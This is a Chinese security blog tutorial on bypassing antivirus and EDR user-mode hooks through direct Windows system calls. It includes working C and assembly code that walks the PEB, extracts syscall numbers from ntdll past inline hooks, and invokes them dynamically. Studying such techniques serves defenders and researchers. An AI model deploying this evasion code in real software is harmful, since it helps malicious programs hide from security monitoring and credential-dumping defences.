与杀毒软件共处一室的姿势

  • A+
所属分类:安全文章

背景

直接系统调用(Direct System Call)已经是目前主流的绕过Ring3层AVEDR沙箱的常用手段,为熟悉掌握该技术,笔者最近对其进行了研究学习,本文结合最近看的各种博客以及遇到问题,总结归纳出一种相对比较友好且通用的Syscall方法。

什么是Direct System Call

请参考[翻译]红队战术:结合直接系统调用和sRDI来绕过AV / EDR
AV/EDR/Sandbox等通常通过Hook ntdll.dll(inline hook)的关键函数,达到对程序调用链的监控。在 Windows NT后,用户态API最后通过syscall指令调用到内核态。

怎么使用

根据ntdll.dll 反编译可以得知,其ntdll.dll的各种NT/ZW类函数实现汇编指令如下
NtFuncXXX PROC        mov r10, rcx        mov eax, {syscallId}        syscall        retNtFuncXXX ENDP
例如通过SYSCALL方式卸载HOOK实现绕过防护软件进行LSASS进程dump的Dumpert项目中,其syscall.asm定义为

与杀毒软件共处一室的姿势

方法一

提前根据https://j00ru.vexillium.org/syscalls/nt/64/表,结合RtlGetVersion函数,批量生产汇编代码,具体可以参考

https://github.com/jthuraisamy/SysWhispers,该工具在github上有接近600的Star,最后生成的汇编示例如下:

与杀毒软件共处一室的姿势

通过收集各个系统的调用号,结合系统版本,进行条件判断,最后执行syscall

该方式优点:

  1. 能够绕过核心函数监控,应该是最早的一代Direct System Call

该方式缺点

  1. 生成代码较为臃肿;

  2. 由于系统号全部写死,不能适用于后面发布的最新Windows系统

方法二

原文参考https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
整体原理是加载ntdll.dll镜像,通过PE文件读取到导出函数的代码段,然后利用VirtualAlloc将代码段放置在内存中,最后进行函数指针调用。

该方式优点:

  1. 通过读取ntdll.dll的实际代码方式,将ntdll的真实代码进行调用,避免ntdll.dll已被HOOK;

  2. 其它的函数也可以参考,很好的一种绕过HOOK的方法。

该方式缺点:

代码中依然需要VirtualAlloc等函数进行内存的可读可写可执行申请,这部分函数已经被AV/EDR监控。
该方法本质是从磁盘上加载真实的系统函数实现,利用SHELLCODE加载的方式,进行真实函数调用,该方法也是绕过Ring3 Hook比较有效的方式(后面有机会会专门分享一下用户态的Hook绕过,希望大家持续关注Cloud-Penetrating Arrow Lab与杀毒软件共处一室的姿势)。

整合优化

结合上述两种方法,可以尝试通过方法二从ntdll.dll中加载真实的函数实现,利用SYSCALL特有的特征,找到系统版本号,然后通过将系统版本号传递到提前准备好大SYSCALL代码中,以实现动态的SYSCALL调用。

获取函数存根

通过NTDLL.DLL中获取导出函数代码段,具体操作有两种方式

方法一:通过PEB的方式读取已经加载函数地址,其代码如下:

// Redefine PEB structures. The structure definitions in winternl.h are incomplete.typedef struct _MY_PEB_LDR_DATA {  ULONG Length;  BOOL Initialized;  PVOID SsHandle;  LIST_ENTRY InLoadOrderModuleList;  LIST_ENTRY InMemoryOrderModuleList;  LIST_ENTRY InInitializationOrderModuleList;} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY{ LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName;} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
// TODO: 可以使用FuncHash方式,避免字符串BYTE* GetFunctionStubFromMemory(const CHAR* pszFuncName){ PPEB PebAddress; PMY_PEB_LDR_DATA pLdr; PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry; PVOID pModuleBase; PIMAGE_NT_HEADERS pNTHeader; DWORD dwExportDirRVA; PIMAGE_EXPORT_DIRECTORY pExportDir; PLIST_ENTRY pNextModule; DWORD dwNumFunctions; USHORT usOrdinalTableIndex; PDWORD pdwFunctionNameBase; PCSTR pFunctionName; UNICODE_STRING BaseDllName; DWORD i;
#if defined(_WIN64) PebAddress = (PPEB)__readgsqword(0x60);#else PebAddress = (PPEB)__readfsdword(0x30);#endif pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr; pNextModule = pLdr->InLoadOrderModuleList.Flink; pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule; // unicode str WCHAR wszNTDLL[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'' }; while (pDataTableEntry->DllBase != NULL) { pModuleBase = pDataTableEntry->DllBase; BaseDllName = pDataTableEntry->BaseDllName; pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew); dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module. if (dwExportDirRVA == 0) { continue; }
if (wcsicmp(wszNTDLL, (WCHAR*)BaseDllName.Buffer) != 0) { continue; } pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA); dwNumFunctions = pExportDir->NumberOfNames; pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++) { pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase); if (stricmp(pFunctionName, pszFuncName) == 0) { usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i)); return (BYTE*)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex))); } pdwFunctionNameBase++; } } return NULL;}

方法二:通过读取文件,进行PE文件格式转换,读取到响应的函数地址。

获取系统调用号

通过syscall汇编调用特征,从函数存根处开始读取到系统调用号。由于当前系统上已经存在AV/EDR,从PEB读取的方式函数已经被HOOK,笔者由于使用虚拟机(Parallels Desktop)的缘故,其NtQuerySystemTime已经被虚拟机Agent给Hook了,其函数代码段内存如下图:

与杀毒软件共处一室的姿势

一般HOOK代码均是在函数起始地方加入调整指令,因此可以简单的尝试内存匹配特征,提取到系统调用号。
#define NOT_FOUND_SYSCALL_ID -1#define IS_NOT_FUND(x) (x == NOT_FOUND_SYSCALL_ID)/*0x4c,0x8b,0xd1,            //mov r10,rcx0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h0x0f,0x05,                //syscall0xc3                      //ret*/unsigned char SYS_CALL_START_MAGIC[] = {  0x4c, 0x8b, 0xd1, 0xb8};#define SYS_CALL_START_MAGIC_LENGTH 4#define MAX_SEARCH_LENGTH  24DWORD MatchSyscallId(BYTE* pData){  // 通过内存搜索的方式绕过HOOK  // HOOK一般会在函数开始处插入调整指令,通过内存搜索的方式查找到真实的函数位置,并提取SyscallId  DWORD syscallId = NOT_FOUND_SYSCALL_ID;  for (int item = 0; item < MAX_SEARCH_LENGTH; item++) {    if (memcmp((pData + item), &SYS_CALL_START_MAGIC, SYS_CALL_START_MAGIC_LENGTH) == 0) {      memcpy(&syscallId, (pData + item + 4), sizeof(DWORD));      break;    }  }  return syscallId;}

汇编指令

定义proc.asm汇编调用
; syscall.DATA  syscallId DWORD 000h.CODESetSyscallId PROC        mov syscallId, 000h    mov syscallId, ecx    retSetSyscallId ENDP
DynamicSyscall PROC mov r10, rcx mov eax, syscallId syscall retDynamicSyscall ENDPEND
定义两个函数和一个变量,SetSyscallId函数对系统调用号进行赋值,DynamicSyscall函数提供统一的Syscall调用。

变量定义

定义asm文件中依赖的外部变量以及引入DynamicSyscall函数
extern "C"{  VOID SetSyscallId(DWORD syscallId);  NTSTATUS WINAPI DynamicSyscall();}

系统调用号获取

#include <Windows.h>#include "SyscallIdFinder.h"

/*0x4c,0x8b,0xd1, //mov r10,rcx0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h0x0f,0x05, //syscall0xc3 //ret
*/#define SYS_CALL_START_MAGIC_LENGTH 4unsigned char SYS_CALL_START_MAGIC[] = { 0x4c, 0x8b, 0xd1, 0xb8};
#define MAX_SEARCH_LENGTH 24
PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section) { return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);}
SyscallIdFinder::SyscallIdFinder(){ _m_bImageInit = InitializeImage();}
SyscallIdFinder::~SyscallIdFinder(){ if (_m_pFileData) { ::HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, _m_pFileData); _m_pFileData = NULL; }
if (_m_hFile != INVALID_HANDLE_VALUE && _m_hFile != NULL) { ::CloseHandle(_m_hFile); _m_hFile = NULL; }}
DWORD SyscallIdFinder::GetSyscallIdFromMemeory(const CHAR* pszFuncName){ HMODULE hModule = ::GetModuleHandleA("ntdll.dll"); unsigned char* pFuncAddr = (unsigned char*)::GetProcAddress(hModule, pszFuncName); if (pFuncAddr == NULL) { return NOT_FOUND_SYSCALL_ID; } return MatchSyscallId(pFuncAddr);}
DWORD SyscallIdFinder::GetSystemIdFromImage(const CHAR* pszFuncName){ if (!_m_bImageInit) { return NOT_FOUND_SYSCALL_ID; } PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)_m_pFileData + *(&_m_pExportDirectory->AddressOfNames), _m_pRDATASection); PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)_m_pFileData + *(&_m_pExportDirectory->AddressOfFunctions), _m_pRDATASection); BOOL stubFound = FALSE;
for (size_t i = 0; i < _m_pExportDirectory->NumberOfNames; i++) { DWORD_PTR functionNameVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)_m_pFileData + addressOfNames[i], _m_pRDATASection); LPCSTR functionNameResolved = (LPCSTR)functionNameVA; if (strcmp(functionNameResolved, pszFuncName) == 0) { DWORD_PTR functionVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)_m_pFileData + addressOfFunctions[i + 1], _m_pTEXTSection); DWORD syscallId = MatchSyscallId((unsigned char*)functionVA); if (syscallId > 0) { return syscallId; } } }
return NOT_FOUND_SYSCALL_ID;}
BOOL SyscallIdFinder::InitializeImage(){ _m_pFileData = NULL; _m_hFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (_m_hFile == NULL || _m_hFile == INVALID_HANDLE_VALUE) { return FALSE; } DWORD fileSize = ::GetFileSize(_m_hFile, NULL); _m_pFileData = ::HeapAlloc(GetProcessHeap(), 0, fileSize); ::ReadFile(_m_hFile, _m_pFileData, fileSize, &fileSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)_m_pFileData; PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)_m_pFileData + dosHeader->e_lfanew); DWORD exportDirRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(imageNTHeaders); _m_pTEXTSection = section; _m_pRDATASection = section; for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++) { if (strcmp((CHAR*)section->Name, (CHAR*)".rdata") == 0) { _m_pRDATASection = section; break; } section++; } _m_pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)_m_pFileData + exportDirRVA, _m_pRDATASection); return TRUE;}
DWORD SyscallIdFinder::MatchSyscallId(unsigned char* pData){ // bypass inline hook and iat hook // Inline hook usually occupies 5 bytes or 7 bytes at the beginning of the function // eg. jump xxxx DWORD syscallId = NOT_FOUND_SYSCALL_ID; for (int item = 0; item < MAX_SEARCH_LENGTH; item++) { if (memcmp((pData + item), &SYS_CALL_START_MAGIC, SYS_CALL_START_MAGIC_LENGTH) == 0) { memcpy(&syscallId, (pData + item + 4), sizeof(DWORD)); break; } } return syscallId;}

从ntdll.dll中根据函数名称动态获取syscalId

动态调用

尝试使用NtCreateFile的方式创建文件,代码调用如下
OBJECT_ATTRIBUTES oa;HANDLE fileHandle = NULL;UNICODE_STRING fileName;RtlInitUnicodeString(&fileName, (PCWSTR)L"\??\C:\test.log");IO_STATUS_BLOCK osb;ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));InitializeObjectAttributes(&oa, &fileName, 0x00000040, NULL, NULL);
// 通过PEB的方式获取NTDLL.DLL的函数代码段BYTE* pFuncStub = GetFunctionStubFromMemory((CHAR*)"NtCreateFile");// 从函数代码段中匹配到系统调用号DWORD syscallId = MatchSyscallId(pFuncStub);// 设置系统调用号,此时的汇编代码就是NT函数的实现SetSyscallId(syscallId);// 将DynamicSyscall函数指针赋值给定义NtCreateFile函数指针变量fnNtCreateFile fNtCreateFile = (fnNtCreateFile)DynamicSyscall;// 进行函数参数传递并调用NTSTATUS status = fNtCreateFile(&fileHandle, FILE_GENERIC_WRITE, &oa, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, 0x00000005, 0x00000020, NULL, 0);

总结

该方法通过汇编+变量设置+动态读取NTDLL中系统版本号实现动态系统直接调用。

有如下优点:

  1. 兼容性强,不需要将系统调用号写死,兼容性可以有保障;

  2. 通过asm实现代码段,通过改变值进行函数调用;

  3. 从已经加载的DLL中获取系统号,并且考虑了已经被简单HOOK的场景。

待优化点:

  1. 由于汇编指令中全局变量,目前线程不安全,后期可以通过引入外部函数的方式进行加锁或者用户态自行实现;

  2. 函数名称的方式可使用函数Hash的方式,如果自己搞工具,可以自定义一套FastHash算法。


本文始发于微信公众号(SecPulse安全脉搏):与杀毒软件共处一室的姿势

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: